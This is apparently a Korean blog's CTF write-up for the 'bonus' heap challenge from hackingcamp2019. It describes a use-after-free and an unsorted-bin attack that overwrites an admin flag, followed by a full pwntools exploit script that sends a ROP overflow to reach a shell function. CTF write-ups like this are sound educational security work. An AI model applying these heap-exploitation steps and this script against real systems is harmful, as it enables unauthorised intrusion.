Profile

youngsouk

youngsouk

[hackingcamp2019]bonus

전형적인 힙 문제

힙 크기를 고려해 할당해주고 있다.

free할 때 초기화를 하지 않음으로서 취약점이 발생한다.

modifyfmf 통해 free된 청크를 수정함으로서 취약점이 발생한다.

admin 체크를 해서 성공하면 rop를 할 수 있다.

이 함수를 이용하면 쉘을 딸 수 있다.

 

익스 구상

1. unsorted bin에 들어갈 청크 크기만큼 힙 2개 할당

2. 첫번째 청크를 해제하고, 그 청크의 bk를 덮어쓸 주소(admin) - 16로 저장

3. 다시 할당 그러면 admin에 main_arena + 88이 저장됨

4. 4번 메뉴 선택 -> binsh 함수 실행시켜 쉘을 딴다

 

from pwn import *

context.log_level= 'debug'

def add(size, data):
   p.sendafter('>>', '1')
   p.sendafter('>>', str(size))
   p.sendafter('>>', data)

def delete(idx):
   p.sendafter('>>', '2')
   p.sendafter('>>', str(idx))

def modify(idx, size, data):
   p.sendafter('>>', '3')
   p.sendafter('>>', str(idx))
   p.sendafter('>>', str(size))
   p.sendafter('>>', data)

#p = process('./bonu')
p = remote("pwnable.shop", 20210)
e = ELF('./bonu')
l = e.libc

shell = 0x4008B6

add(0x100, 'a')
add(0x100, 'a')
delete(0)
modify(0, 19, 'a'*8+p64(0x6020c0))
add(0x100, 'a')

p.sendafter('>>', '4')

payload = 'a' *0x30 + 'b' * 8
payload += p64(shell)

p.sendline(payload)

p.interactive()

'CTF write-up' 카테고리의 다른 글

[wargame.0x0.site] babyheap 라이트업  (0) 2019.10.12
Tokyo Western CTF 2017 - Parrot  (0) 2019.10.02
[hackingcamp2019]  (0) 2019.08.25
[hackingcamp2019]camp_note  (0) 2019.08.25
[dimi_ctf]ezheap  (0) 2019.07.15